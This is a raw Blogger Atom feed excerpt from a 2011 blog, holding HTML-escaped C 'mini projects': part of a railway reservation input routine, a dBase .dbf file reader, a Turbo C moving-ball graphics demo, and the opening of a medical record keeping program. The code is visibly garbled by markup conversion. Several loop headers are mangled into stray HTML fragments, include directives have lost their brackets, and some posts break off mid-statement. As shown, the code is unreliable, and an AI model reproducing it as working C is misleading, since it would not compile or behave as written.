class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(c==27)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt; &amp;nbsp;return;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(5,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("Please Enter Valid Date.");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(67,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf(" &amp;nbsp;");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(5,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(67,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;count1=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;c='a';&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;else if(c==8)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; if(wherex()&amp;gt;69)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;gotoxy(wherex()-1,15);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;putch(' ');&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;count1--;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;gotoxy(wherex()-1,15);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; }&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;else if(c!=13)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; if(wherex()&amp;lt;69)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;putch(c);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;age[count1]=c;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;count1++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; }&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; else&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;gotoxy(5,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;printf("Date Can Be Only 2 Digits.");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt; &amp;nbsp;gotoxy(67,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt; &amp;nbsp; }&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;age[count1]='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-245817728841211081?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/245817728841211081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/railway-reservation-system-mini-project.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/245817728841211081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/245817728841211081'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/railway-reservation-system-mini-project.html' title='Railway Reservation System (Mini Project In C)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8098740896334004358</id><published>2011-03-20T20:21:00.001-07:00</published><updated>2011-03-20T20:21:27.731-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>To Retrieve and manipulate .dbf files through c program (Mini Project in C)</title><content type='html'>Code :&lt;br /&gt;&lt;br /&gt;// This is devloped by narender&lt;br /&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;#include string.h&lt;br /&gt;#define MAXFIELDS 1000&lt;br /&gt;#include mem.h&lt;br /&gt;#include string.h&lt;br /&gt;void main(int argc, char *argv[])&lt;br /&gt;{ char *p,*q,*r,*buf;&lt;br /&gt;&amp;nbsp;&amp;nbsp;typedef char string11[12];&lt;br /&gt;&amp;nbsp;&amp;nbsp;FILE *in,*out,*out1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;int a,i,j,n,field_pos[MAXFIELDS+1],nfield=0,pos,lrec;&lt;br /&gt;&amp;nbsp;&amp;nbsp;char *record,field_type[MAXFIELDS];&lt;br /&gt;&amp;nbsp;// string11 field_data[500];&lt;br /&gt;&amp;nbsp;&amp;nbsp;string11 field_name[MAXFIELDS];&lt;br /&gt;&amp;nbsp;&amp;nbsp;struct&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ char &amp;nbsp;version; &amp;nbsp; &amp;nbsp;/* dBase version */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;datum[3]; &amp;nbsp; /* date of last update YYMMDD */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;long &amp;nbsp;nrec; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* nr of records in th database file */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;short nhead; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* nr of bytes in the header */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;short lrec; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* nr of bytes in the record */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;dum1[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;transact; &amp;nbsp; /* flag for incomplete transaction */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;encrypt; &amp;nbsp; &amp;nbsp;/* encryption flag */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;mdx; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* flag for presence of mdx-file */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;dum2[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp;} header;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;struct&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ char &amp;nbsp;name[11]; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* fieldname zero filled */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;type; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* field type (C, D, F, L, M, N) */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;dum1[4];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;unsigned char &amp;nbsp;length; &amp;nbsp;/* field length in binary */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;ndec; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* field decimal count in binary */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;dum2[2];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;workid; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* work area ID */&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char &amp;nbsp;dum3[11];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;char data[10];&lt;br /&gt;&amp;nbsp;&amp;nbsp;} field;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;switch(argc)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ case 1: &amp;nbsp; in=stdin;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;case 2: &amp;nbsp; if ((in = fopen(argv[1],"rb")) == NULL)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;{ fprintf(stderr,"Input file %s not found&lt;br /&gt;",argv[1]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;exit(1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;default: &amp;nbsp;fprintf(stderr,"Usage: %s dbase_file &amp;gt;&lt;br /&gt;database&lt;br /&gt;",argv[0]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;fprintf(stderr,"Or: cat dbase_file | %s &amp;gt;database&lt;br /&gt;",argv[0]);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;fread(&amp;amp;header,32,1,in);&lt;br /&gt;&amp;nbsp;&amp;nbsp;n=header.lrec;&lt;br /&gt;&amp;nbsp;&amp;nbsp;pos=1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;// a=field_name[3];&lt;br /&gt;&amp;nbsp;&amp;nbsp;while (n&amp;gt;1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ if (nfield==MAXFIELDS)&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;{ fprintf(stderr,"Too many fields&lt;br /&gt;");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;fread(&amp;amp;field,32,1,in);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;strcpy(field_name[nfield],field.name);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;field_type[nfield]=field.type;&lt;br /&gt;&amp;nbsp;&amp;nbsp; // &amp;nbsp;printf("&lt;br /&gt;FIELD: %s",field_name[3]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;field_pos[nfield++]=pos;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pos+=(int)field.length;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;n-=(int)field.length;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; for (i=1;i&lt;nfield;i++)&lt; p=""&gt;&lt;/nfield;i++)&lt;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("%s%c",field_name[i],i==nfield-1?'&lt;br /&gt;':'&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;');&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;// for (i=0;i&lt;nfield;i++) "!%s%c",&lt;="" &amp;nbsp;="" p="" printf(=""&gt;&lt;/nfield;i++)&gt;&lt;br /&gt;field_name[i],i==nfield-1?'&lt;br /&gt;':'&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;');&lt;br /&gt;&amp;nbsp;&amp;nbsp;field_pos[nfield]=pos; /* one extra for length calculation of last&lt;br /&gt;field&lt;br /&gt;*/&lt;br /&gt;&amp;nbsp;// printf("&lt;br /&gt;%s",field_name[3].data);&lt;br /&gt;&amp;nbsp;&amp;nbsp;fread(&amp;amp;i,1,1,in); /*read field terminator */&lt;br /&gt;&amp;nbsp;&amp;nbsp;if (i!=0xD)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{ fprintf(stderr,"Illegal field terminator; more than %d&lt;br /&gt;fields?&lt;br /&gt;",MAXFIELDS);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; lrec=header.lrec;&lt;br /&gt;&amp;nbsp;&amp;nbsp; record=malloc(lrec+2);&lt;br /&gt;&amp;nbsp;&amp;nbsp; for (i=1;i&lt;header.nrec;i++)&lt; p=""&gt;&lt;/header.nrec;i++)&lt;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if (fread(record,lrec,1,in)!=1)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp;fprintf(stderr,"Error reading record %d&lt;br /&gt;",i+1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp;exit(1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; }&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if (*record!='*') &amp;nbsp;/* if not a deleted record */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for (j=1;j&lt;nfield;j++)&lt; p=""&gt;&lt;/nfield;j++)&lt;&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp;if(j==1)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; p=record+field_pos[j]; &amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;/* first char of the field */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; q=record+field_pos[j+1]-1; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;/* last char of the field */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; while (*p==' ' &amp;amp;&amp;amp; p&amp;lt;=q) p++;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;/* remove leading spaces */&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; while (*q==' ' &amp;amp;&amp;amp; p&amp;lt;=q) *(q--)='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8098740896334004358?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8098740896334004358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/to-retrieve-and-manipulate-dbf-files.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8098740896334004358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8098740896334004358'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/to-retrieve-and-manipulate-dbf-files.html' title='To Retrieve and manipulate .dbf files through c program (Mini Project in C)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3912382522034313788</id><published>2011-03-20T20:20:00.000-07:00</published><updated>2011-03-20T20:20:30.482-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Moving Ball (Mini Project in C)</title><content type='html'>Code :&lt;br /&gt;# include graphics.h&lt;br /&gt;# include stdlib.h&lt;br /&gt;# include conio.h&lt;br /&gt;# include dos.h&lt;br /&gt;&lt;br /&gt;int x,y,maxx,maxy,i,j;&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt; int gdriver = DETECT, gmode;&lt;br /&gt; void *image;&lt;br /&gt; unsigned int size;&lt;br /&gt; char ch;&lt;br /&gt; void fillBox(int,int);&lt;br /&gt; int Row,Col;&lt;br /&gt;&lt;br /&gt; // Initialize graphics drivers and mode.&lt;br /&gt; initgraph(&amp;gdriver,&amp;gmode,"d:\tc\bgi ");&lt;br /&gt;&lt;br /&gt; // Draw a rectangle&lt;br /&gt; // rectangle(x1,y1,x2,y2)&lt;br /&gt; maxx=getmaxx(); // x2&lt;br /&gt; maxy=getmaxy(); // y2&lt;br /&gt; rectangle(10,10,maxx-10,maxy-10);&lt;br /&gt;&lt;br /&gt; // Puts Pixel in the Rectangle.&lt;br /&gt; fillBox(maxx,maxy);&lt;br /&gt; x=y=70;&lt;br /&gt; // Draw Circle and FillColor&lt;br /&gt; setfillstyle(1,14);&lt;br /&gt; circle(x,y,20);&lt;br /&gt; floodfill(x,y,15);&lt;br /&gt;&lt;br /&gt; // Creating the Image&lt;br /&gt; size = imagesize(x,y,x+20,y+20);&lt;br /&gt; image=malloc(size);&lt;br /&gt; getimage(x-20,y-20,x+20,y+20,image);&lt;br /&gt; x-=20;&lt;br /&gt; y-=20;&lt;br /&gt; // Will Displays till Any key is hit !!!...&lt;br /&gt;   while(!kbhit())&lt;br /&gt;   {&lt;br /&gt;    Row = x; Col = y;&lt;br /&gt;    putimage(x,y,image,XOR_PUT);    // clears the Image from Screen&lt;br /&gt;    //x=random(maxx-70);&lt;br /&gt;    //y=random(maxy-70);&lt;br /&gt;    //fillBox(maxx,maxy);&lt;br /&gt;    x=x+10;&lt;br /&gt;      /* if(x&lt;50)     x=50;     if(y&lt;50)      y=50;*/     putimage(x,y,image,OR_PUT); // Puts the image on screen.     delay(50); // Waits for few Seconds.     if(x&gt;540)&lt;br /&gt;     {&lt;br /&gt;      putimage(x,y,image,XOR_PUT);&lt;br /&gt;      Row = x; Col = y;&lt;br /&gt;      for(i=0;i&lt;540;i++)      {       x=random(maxx-10);       y=random(maxy-10);       if(x&gt;10 &amp;&amp; y&gt;10)&lt;br /&gt;        putpixel(x,y,14);&lt;br /&gt;      }&lt;br /&gt;      //putpixel(x,y,14);&lt;br /&gt;      x= Row;&lt;br /&gt;      y=Col;&lt;br /&gt;      x=10;&lt;br /&gt;      y=y+20;&lt;br /&gt;      putimage(x,y,image,XOR_PUT);&lt;br /&gt;     }&lt;br /&gt;     if(y&gt;410)&lt;br /&gt;     {&lt;br /&gt;      putimage(x,y,image,XOR_PUT);&lt;br /&gt;      Row = x; Col = y;&lt;br /&gt;      fillBox(maxx,maxy);&lt;br /&gt;      x= Row;&lt;br /&gt;      y=Col;&lt;br /&gt;      x=10;&lt;br /&gt;      y=30;&lt;br /&gt;      putimage(x,y,image,XOR_PUT);&lt;br /&gt;     }&lt;br /&gt;   }&lt;br /&gt; free(image); //Removes the image from the Screen.&lt;br /&gt; closegraph(); // Closes the Graphics Mode.&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void fillBox(int maxx,int maxy)&lt;br /&gt;{&lt;br /&gt; cleardevice();   // Clears the Graphics Screen&lt;br /&gt; maxx=getmaxx(); // x2&lt;br /&gt; maxy=getmaxy(); // y2&lt;br /&gt; rectangle(10,10,maxx-10,maxy-10);&lt;br /&gt; for(i=0;i&lt;8000;i++) {  x=random(maxx-10);  y=random(maxy-10);  if(x&gt;10 &amp;&amp; y&gt;10)&lt;br /&gt;   putpixel(x,y,14);&lt;br /&gt; }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3912382522034313788?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3912382522034313788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/moving-ball-mini-project-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3912382522034313788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3912382522034313788'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/moving-ball-mini-project-in-c.html' title='Moving Ball (Mini Project in C)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-2189931184516135642</id><published>2011-03-20T20:19:00.000-07:00</published><updated>2011-03-20T20:19:21.486-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mini Project'/><title type='text'>Medical record keeping system (Mini Project in C)</title><content type='html'>Code :&lt;br /&gt;&lt;br /&gt;//PROJECT ON-:MEDICAL RECORD KEEPING SYSTEM&lt;br /&gt;//ENVIORNMENT-C/C++&lt;br /&gt;//COMPATIBLE WITH WINDOWS 95,98(NOT FOR XP)&lt;br /&gt;#include stdio.h&lt;br /&gt;#include conio.h&lt;br /&gt;#include dos.h&lt;br /&gt;#pragma warn -rvl&lt;br /&gt;#define SE 112&lt;br /&gt;#define US 7&lt;br /&gt;union REGS i,o;&lt;br /&gt;&lt;br /&gt;/**************************************************************/&lt;br /&gt;     /*STRUCTURE AND VARIABLES FOR EMPLOYEE ENTRY*/&lt;br /&gt;&lt;br /&gt;/**************************************************************/&lt;br /&gt;struct employee&lt;br /&gt;{&lt;br /&gt;char empname[100];&lt;br /&gt;char empno[10];&lt;br /&gt;char empdept[50];&lt;br /&gt;char memname[100];&lt;br /&gt;}e;&lt;br /&gt;int member;&lt;br /&gt;char names[100];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char name3[100];&lt;br /&gt;char no[10];&lt;br /&gt;char dept[50];&lt;br /&gt;&lt;br /&gt;char id1[10];&lt;br /&gt;char nameemp[100];&lt;br /&gt;char dateemp[10];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*******************************************************************/&lt;br /&gt;        /*STRUCTURE AND VARIABLES FOR OUTSIDERS ENTRY */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*******************************************************************/&lt;br /&gt;struct outsider&lt;br /&gt;{&lt;br /&gt;char patientno[10];&lt;br /&gt;char date[12];&lt;br /&gt;char patient[100];&lt;br /&gt;int age;&lt;br /&gt;char sex1[4];&lt;br /&gt;char suffer[50];&lt;br /&gt;char medicine[50];&lt;br /&gt;}out;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int flag=0;&lt;br /&gt;//Variables For Outsiders Record File Started&lt;br /&gt;char name1[100];&lt;br /&gt;char date1[40];&lt;br /&gt;char id[10];&lt;br /&gt;char another;&lt;br /&gt;char another1;&lt;br /&gt;char del[100];&lt;br /&gt;char another2;&lt;br /&gt;char update[100];&lt;br /&gt;char updateno[100];&lt;br /&gt;//Variables For Outsiders Record File Completed&lt;br /&gt;/******************************************************************/&lt;br /&gt;&lt;br /&gt;     //STRUCTURE FOR NEW ENTRY FORM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/******************************************************************/&lt;br /&gt;struct form&lt;br /&gt;{&lt;br /&gt;char empno2[10];&lt;br /&gt;char date[10];&lt;br /&gt;char patient[100];&lt;br /&gt;char sex[8];&lt;br /&gt;char age[10];&lt;br /&gt;char medicine[100];&lt;br /&gt;}s;&lt;br /&gt;char del1[10];&lt;br /&gt;char petname[100];&lt;br /&gt;char dates[10];&lt;br /&gt;/******************************************************************/&lt;br /&gt;    //To use keys&lt;br /&gt;/******************************************************************/&lt;br /&gt;//Taken from file save1.c&lt;br /&gt;int get_file_attrib(char fname[40]);&lt;br /&gt;void setattr(int,int,int);&lt;br /&gt;char far *scr;&lt;br /&gt;char far *mode1;&lt;br /&gt;int r,c,w,x,y,attrib,flen=1;&lt;br /&gt;char ch;//To use keys&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char name[10];&lt;br /&gt;char number[10];&lt;br /&gt;int len,z;&lt;br /&gt;int p,q;&lt;br /&gt;int a,b;&lt;br /&gt;int x,y,button;&lt;br /&gt;&lt;br /&gt;FILE *fp,*ft,*fpt,*fs,*fps;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;int i,j;&lt;br /&gt;fp=fopen("medical1.dat","r+");//file open for read only&lt;br /&gt;if(fp==NULL)&lt;br /&gt;{&lt;br /&gt;     fp=fopen("medical1.dat","w+");//file open for write only&lt;br /&gt;  if(fp==NULL)&lt;br /&gt;      {&lt;br /&gt;        printf("&lt;br /&gt;Cannot open file");&lt;br /&gt;      }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ft=fopen("medical2.dat","r+");&lt;br /&gt;if(ft==NULL)&lt;br /&gt;{&lt;br /&gt;  ft=fopen("medical2.dat","w+");&lt;br /&gt;      if(ft==NULL)&lt;br /&gt;  {&lt;br /&gt;   printf("cannot open file");&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br 